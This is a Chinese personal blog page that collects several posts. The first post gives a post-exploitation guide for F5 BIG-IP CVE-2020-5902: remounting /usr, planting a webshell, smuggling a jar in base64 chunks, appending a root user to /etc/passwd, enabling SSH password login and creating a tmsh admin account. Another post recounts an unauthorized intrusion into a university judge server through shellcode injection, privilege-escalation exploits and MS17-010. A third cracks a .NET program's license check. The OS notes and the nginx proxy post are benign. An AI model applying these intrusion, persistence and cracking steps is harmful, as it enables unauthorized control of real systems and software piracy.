CVE-2020-5902 权限维持

起因

这次这个RCE还好,说不好用它给的权限是root,说好用能打的又很少,大部分还不出网,ssh又连不上。复现我也不复现了,分析我也不分析。exp网络上一大把,我就说说怎么加个webshell吧。
毕竟大部分机器都是不出网,你ssh开不进去,反弹又反弹不出来。不过既然你能打exp,那么说明就是web是开启的,我们唯一的好方法自然就是加个webshell了。

写webshell

web路径在/usr/local/www/tmui下,但是默认路径会被redict到login.jsp,所以我们可以写到静态文件目录,也就是/usr/local/www/tmui/tmui/login/images/下面,当然直接写过去肯定是不行的,因为/usr权限是ro。

访问webshell

我们得执行mount -o remount rw /usr重新挂载/usr,这样我们才有权限写webshell。写了webshell,开开心心的访问,你肯定会看到大大的13463bd115d3d229196685b53bdb8a5a72bb36a6_2_690x282.png,根据90老哥的指点,我们得放一个ecj-4.4.jar包上去,放的路径记住是/usr/share/tomcat/lib,放到这下面。

如果你可以 出网,那么好说,直接用curl从远程下载一份到这个目录就行,如果不能出网,恭喜你,我的解决办法是把这个jar先base64,然后分割成30份,然后30分轮流echo 输出到远程/tmp/tmp.txt下,然后再用(cat /tmp/tmp.txt|base64 -d) > /usr/share/tomcat/lib/ecj-4.4.jar,由于网络/exp的缘故,成功率十分的感人。

之后得重启tomcat,如何重启呢?这个big-ip自带了重启命令,直接运行/usr/bin/restart_tomcat就行。

提权

提权就简单很多了,直接echo "abcd:advwtv/9yU5yQ:0:0:root:/home/abcd:/bin/bash" >>/etc/passwd 这样我们就能在冰蝎用控制台直接su提权了

如果ssh允许出网

那么简单许多了,ssh配置路径在/config/ssh/sshd_config
设置了PAM。不允许证书和密码登陆,所以我们要先用命令修改

sed -i "s/UsePAM yes/UsePAM no/g"  /config/ssh/sshd_config
sed -i "s/PasswordAuthentication no/PasswordAuthentication yes/g"  /config/ssh/sshd_config
service sshd restart

然后就可以利用上面写入/etc/passwd的东西来进行ssh登陆了

如果SSH登陆。可以尝试运行这个tmsh create auth user baka2 password [email protected] partition-access add { all-partitions { role admin } },运行后会在https添加用户。即可登陆bigip的web控制台,在路由哪里设置allow就行

Tags: exp, rce

OS相关笔记

前言

又到了学习的时候了,上次记笔记是在2017年学汇编的时候。

记录的笔记挺有用,既能加深印象,又能再需要用的时候随时翻出来查,也能证明自己确实是学过了。

话不多说,开始吧

boot

扇区512字节,结尾是0xaa55

7c00

主引导内存地址。至于为什么。
参考:

为什么主引导记录的内存地址是0x7C00?

GDT

gdt.png

// 一个bytes 8字节
struct Descriptor{
    segment_Length = new bytes(2),
    baseAddress = new bytes(3),
    attr = new bytes(2),
}

实模式/保护模式

实模式寻址方式:

段寄存器 * 16 + 偏移( 16 bit )

保护模式寻址:

selector:偏移
selector = 指向GDTde偏移->从GDT中找到32位基地址

实模式到保护模式

  • 准备GDT
  • 用lgdt加载gdtr
  • 打开A20
  • 进入保护模式

LDT

和GDT一样,不过一个是全局一个是局部。只不过selector的TI位置必须设置为1

使用lldt加载

什么是保护模式?保护在哪?

每个段地址被gdt表限制,不能超出访问

每个段的作用也在gdt表中明确指明

层级跃迁使用,和LDT,GDT一样都是个结构体

调用门

929457-20170103234617253-66741751.png
调用方式:call 调用门,调用门结构体储存选择子,和偏移,最后调转的的地址是选择子中的基地址加上偏移。

对于call和jmp指令,有着不同的优先级检查规则的:

  

对call来说:当前CPL<=调用门描述符DPL,RPL<=调用门描述符DPL,当前CPL>=目的代码段描述符DPL;

对jmp来说:除了跟call的“当前CPL<=调用门描述符DPL,RPL<=调用门描述符DPL”一样外,如果目的代码段的一致的话,CPL>=目的代码段的DPL,而如果目的代码段是非一致的话,CPL=目的代码段的DPL。

另外,只有call指令可以将代码通过调用门转移到特权级更高的非一致性代码之中。对于非一致性代码的成功转移,CPL被目的代码的DPL刷新,会引起堆栈切换;对于一致性代码,不会刷新,也不会切换。

调用门的作用是,让一个代码段中的过程被不同特权级的程序访问。通常用于低特权级代码来访问高特权级的代码段。

Tags: 笔记, os

某OJ渗透纪实

并没有什么技术含量,纯粹就是玩个黑盒的过程。挺有意思的,所以就写下来了。

起因

天台在群里说,他们那有个OJ是用windows的

TIM截图20200611143057.png

当然二话不说上来看看咯。

开整之前大致想出流程,

  • 判断是否容器
  • 判断是否出网

第一因为是用windows所以有点希望,就来验证第二个看看。

bypass

先找个时间长点的题目

2.png

上去提交代码。能用的有C/C++/G++/JAVA/C#以及PASCAL

3.png

试了一下,C/C++没有windows.h,基本的system等函数就直接reset了。

估计有一些防火墙。

运气好,发现C# 能执行api???

这下好说了,shellcode走起。

直接参考这个

C#加载shellcode

提交,运行,之后cs上线了

photo_2020-06-11_14-37-52.jpg

但是10s一过就被k了。

原本是想找个能自动复制的shellcode,或者是干脆直接exe2shellcode然后编码到代码里提交上去写出

结果提交代码有长度限制,最多6kb,只能继续在shellcode上整活了。

那么继续,我们换个思路。

我们把自己复制一个,然后用api把自己运行不就行了?

经过测试之后,发现,CreateProcess这个api可以用,shellExecute这些倒是被reset了。

那么接下来就简单了

createprocess.png

测试之后发现,只有本体线程上线了。。。复制之后的那个没上线?这就很尴尬。
现在有3个猜测

  • Temp文件夹没权限
  • CreateProcess并不能运行
  • 本体不是exe而是某种动态执行的东西,所以复制本体出去压根不是正确的PE文件

总体来说就这三种情况,那么我们该怎么排查呢?

伪黑盒测测

oj也不是完全黑盒,oj也是有返回结果的

status.png

其中我们只需要关注Judge StatusExe.Time,Exe.Memory这些就行

前两个我们是可以手动控制结果,后面一个Memory是判断我们程序是否正确运行。

那么接下来就简单了。我们可以手动一个选择支(if),达成某种目标,就给出正确答案,或者超时等等。

我们先判断程序是否复制到了Temp文件夹下面,如果复制到了那么就直接Sleep到超时。

if (File.Exists("C:\\WINDOWS\\Temp\\asd.exe"))
                {
                    System.Threading.Thread.Sleep(2000);
                    return;
                }else{return;}

经过测试之后发现,文件不存在。程序并没有超时,直接return了。

继续判断扩展名

string filename = System.IO.Path.GetFileName(szPath);
if(Path.GetExtension(fileName)==".exe"){System.Threading.Thread.Sleep(2000);}

发现超时,说明文件确实被编译成exe了。

那么既然temp目录没有权限,那么我们就直接复制到本地目录不就行了嘛。

经过修改代码之后,提交运行。这次倒是上线了两个。

但是依旧是过了10s,这两个程序同时掉线了。预测是被k了。

这就很奇怪了。

难道TMD学360还能判断进程链?还是说有什么组策略?

既然这样,我们就换个方法,既然它会k进程链,那么我们就注入到不是我们创建的进程不就行了嘛?

经过测试,Process这个关键字没被拦截,那么Process[] processes = Process.GetProcessesByName(processName);这个方法应该也不会被拦截,试了一下果不其然。

这oj真的有做过滤嘛emmm,不过能调用api本来也就很奇怪了吧。

依旧同样的方法,判断explorer.exe是否存在,然后找到它的pid。

这里要注意点,可能找到的不一定是guest用户的explorer也许是其他用户的,我们不一定有权限注入。

所以是循环查找。

然后就是远程线程注入。

5.png

很好,自信满满,提交运行。

结果:

6.png

????

换了x64/x32的shellcode都不行,msf的也试过了。全TMD都不行。

我本地测试一下也奇怪的奔溃了。但是用C++写的那份却可以运行。怪事。

不得已,只能上CPP了,还是CPP用的顺手。

不过在此之前只能祈祷这上面能用内联汇编
提交了个

#include<stdio.h>
int main(){__asm{NOP;}return 0;}

上去,发现编译通过了!!!

不就是不能用windows.h嘛,小事。

之前想过,不能用windows.h最大的问题是什么?不能调用winapi嘛。

然而懂计算机的都知道,我们只需要知道函数的地址,然后手动call不就能调用了嘛。

和这种情况类似的有什么呢?对,就是shellcode。直接PEB或者SEH查找k32.dll的地址然后再找到LoadLibrary和GetProcAddress的地址,那么winapi不就是随便用了吗?

因为仅仅是不能用windows.h,和我另外一篇 自己动手打造一份熊猫烧香 ,还是有点区别的,至少strcat这些简单函数都能用,其他的都好说了。

为了节约代码长度,这次不用上一篇文章的那个方法整结构体了。直接参考

Windows下Shellcode编写详解

中的内联汇编代码,抄出来稍微改改就行
shellcode.png

然后就是定义api然后调用

api.png

代码很长后面我就不截图了。有了API原理就和C#版本的一模一样

一样的注入explorer.exe,提交,运行。

感天动地,终于上线了。过了一分钟也没被k。

收尾

现在就是判断系统版本,先判断系统版本,systeminfo是不能用的,tasklist也不行。因为是guest权限不是那些IIS权限,所以前段时间我用的很爽的各种土豆都用不了,这土豆是真滴好用。啊废话有点多。

用C#随便写一个判断系统版本的丢上去。

这时候确实是C#比较舒服。.net库还是全的,如果是CPP整winapi还得弄一堆七七八八。

最后结果是win7。虽然结果是这么写的,但是也有可能是08之类的东西。因为上传shellcode没被杀,所以确认是没有杀软,直接提交exp吧。

有了这个就很简单了,随便找个1458丢上去,运气好提权成功。
tiquan.png

用1458的时候还出了点小意外,详情可以看我博客里面有个tgchannal。过于丢人就不说了,总之还是换了8639,提权成功。

system.png

接下来就是横向了,不过我只是为了日OJ而来,剩下的就索然无味了,横向还是日tw的edu好玩。又没有法律风险,难度也不是很高,他们的web一个个都可以是梦回2008年代的画风。但是意外的洞却不多,所以又简单的同时也有难度,啊又跑题了。

总之第一步随手看个netstat -an,以及arp -a,查看其他资产,有mysql连接,这种主机肯定存在MySQL配置,可以用来横向。

第二步当然是我们最爱的ms17010啦。
17010.png

emmmm,这管理员真的有在管学校嘛。

剩下的没意思,溜了溜了

Tags: 渗透, oj

超星学习通普通学生邀请码获取/查看

过了半学期才发现没加进这门课,因为用的都是自动签到,现在过了半学期也不敢找老师要。所以就抓了个包。
原理很简单,找你同学,去章节页面,叫他把链接地址发过来就行,找到其中的courseid,填到下面这个get地址访问即可,比如
2284845547.png

https://mooc1-api.chaoxing.com/gas/course?id=找你同学要&userid=userid&fields=clazz.fields(id,name,chatid,bbsid,studentcount,invitecode).rankid(2)&view=json

访问后会有如下
TIM截图20200430142203.png
找到你对应的班级,其中inviteCode就是邀请码了。

Tags: 学习通, 超星, mooc

博客五周年啦~

TIM截图20200409200750.png
一年又这么过去了啊,感觉啥也没有做。
今年想说的有什么呢?
大概和以往不一样的,就是换了个主题了吧。
除了这些,感觉自己今年内啥也没学到,真的是越来越菜了。
2020发生了许多大事,一股不真实感扑面而来,最大的不真实感可能是平常这时候我已经在学校而现在还在家里摸鱼。
更可气的是我还一节网课都没听,现在最害怕的就是到学校:“什么?只有我一个人没上网课?”这种感觉。
回顾博客五年来每周年的记录,从最初的迷茫,到现在的淡然,虽然不能说找到了目标,但是已经迷迷糊糊确定了大致的方向。
当初建站时候的我还是个真-白白嫩嫩的少年,现在估计可以称得上是个大叔了。哎,没想到我这个00后也有被称为大叔的一天。
现在想来当时的自己真是不得了啊,每日浑浑噩噩无所事事上课摸鱼下课研究奇怪的东西。导致大佬们拉开了许多的差距。
emmm想了半天也不知道说什么,总之就写这些了。

共勉

Tags: 五周年

在你的首页添加个tgchannel链接

就比如我这首页一样。之前只做了嵌入和反代,没有反代资源,一开始还觉得好好的,但是我这个24h墙外用户,突然有一天没关梯子就上来,看到css什么样式全都爆炸了,所以赶快就修了。感谢鸟姐的nginx的配置文件,咱就直接抄过来了

原理

1.反代 ,用于消除telegram.org的X-Frame-Options,让它可以嵌入到你的iframe中。以及反代些资源让墙内用户可以看到
2.iframe嵌入

第一步,反代

首先你得拥有一个tgchannel,然后去访问他的网页版,网页版地址是https://t.me/s/你的频道名称,我的频道是

https://t.me/s/bie_channel

之后打开在你的nginx配置文件中,新建一个location,随便找个地方,我是直接新建了个other.9bie.org用来作为反代。

location / {
        
        proxy_redirect off;
        proxy_cache_methods GET POST;
        proxy_set_header Host "t.me";
        proxy_hide_header "Set-Cookie";
        proxy_hide_header 'X-Frame-Options';
        proxy_pass https://t.me/s/bie_channel;}

这样一个反代就配置完成了,如果只针对墙外用户的话那么到这里差不多就结束了。
但是针对墙内用户你会发现iframe里面的地址,比如telegram.org等指向css/js的地址是无法访问的,导致墙内用户会丢样式。
于是我们得把这些css/js也得反代了。

location ^~/js/ {
        proxy_pass https://telegram.org/js/;
        proxy_redirect off;
        proxy_set_header Host "telegram.org";
  }
  location ^~ /css/ {
        proxy_pass https://telegram.org/css/;
        proxy_redirect off;
        proxy_set_header Host "telegram.org";
  }
  location ^~/file/ {
        proxy_pass https://cdn5.telesco.pe/file/;
        proxy_redirect off;
        proxy_cache_valid any 1d;
        proxy_set_header Host "cdn5.telesco.pe";
        expires @1d;
  }

修改了这些还不够,我们还得把页面内部的数据给替换掉了,这里就设计到了一个东西sub_filter,这是nginx自带的一个扩展,用于替换页面内的数据,用法是

sub_filter [原数据] [被替换数据]

你得使用nginx -V (注意大写),查看自己的nginx是否安装了这个扩展

TIM截图20200409173905.png
查看是否有--with-http_sub_module,如果有就直接忽略下面几行,如果没有
你需要吧configure arguments:后面的内容全部复制下来,然后查看nginx版本,下载相同版本的源代码。
解压,然后在目录下,运行./configure 你上面复制的内容 --with-http_sub_module
之后运行 make & make install,这样sub_filter就安装到你的nginx中啦。

之后,只需要修改前面的location /的内容,添加如下几行

proxy_set_header Accept-Encoding "";
gzip off;
sub_filter_once off;
sub_filter_types "*";
sub_filter "//telegram.org/js/" "/js/";
sub_filter "//telegram.org/css/" "/css/";
subs_filter "https://cdn5.telesco.pe/file/" "/file/";
subs_filter "https:\/\/cdn5.telesco.pe\/file\/" "\/file\/";

记住

proxy_set_header Accept-Encoding "";
gzip off;

很重要,之前被这个坑了很久,这玩意会把内容压缩,于是你就替换不了了。做完这上面这些,只需要运行
service nginx restart 重启下你的nginx就完事了

最后

之后,直接新建一个文章,在文章中插入
<iframe src="https://other.9bie.org" style="width:100%;height:400px"></iframe>其中width和height根据你自己的喜好大小来定。

然后再随便找个文章置顶插件就行。或者你直接编辑你主题的代码放上去也不是不行,我前端实在垃圾,就直接弄成文章版本的了。

Tags: tg, 频道

简易.NET程序(某助手)破解

闲得无聊,日站日不下来,来日程序。
一到考试就沉迷砍口垒。但是我也不知道为啥。
总之先下载,是个用户名密码登陆的。
这个程序是用账号密码破解的。第一个思路是直接劫持他们的对象socket,伪造一个返回值来欺骗程序,达到不修改程序的效果。
但是抓了个包看了一下。。。
TIM截图20200106210252.jpg
emmm,base64解不出来,算了还是拉到程序ilspy分析一波。
TIM截图20200106210252.jpg
看这一波乱码,不用说了,直接de4dot走起
TIM图片20200106210831.png
继续拉进ilspy分析。
这次可以了
TIM截图20200106210252.jpg
为了方便,我们直接搜索 登录
TIM截图20200106210252.jpg
很轻松的找到了。直接右键,分析,寻找调用
TIM截图20200106210252.jpg
发现是一个Update函数
在如图所示的地方判断是否登陆
TIM截图20200106210252.jpg
跟进,判断,发现是个DLL,名字叫做CCLR
直接在目录下面,找到CCLR.dll
TIM截图20200106210252.jpg
直接拖进dnSpy,因为ilspy不能反汇编,所以直接拖进去。
找到相关函数。根据上面的反汇编,直接右键,修改函数。
把相关函数修改为对应的值
1.png
2.png
3.png
TIM截图20200106210252.jpg
再根据这里,把这个函数返回值也随便改一下。
看了一下这个函数返回值是直接返回int然后在string化的,而不是使用时间戳
TIM截图20200106210252.jpg
所以,就直接改成99吧
TIM截图20200106210252.jpg
文件,导出模块。
很多人说编译过程中会有错误,那我就在这更新一下吧,忘记加了。
首先,编辑点编辑方法
1.jpg
按照上面的修改之后,编译,会报错
2.jpg
直接跟进,找到两个
3.jpg
4.jpg
在编译还会有一个错误,把 这个删了。
5.jpg

保存,启动。
TIM截图20200106210252.jpg
破解成功。

Tags: 破解, 非提助手

不来关注一个吗?

因为某种不可抗力原因,Join按钮得右键新标签页打开( 或者 @bie_channel

Tags: none
文章总数:185篇 分类总数:4个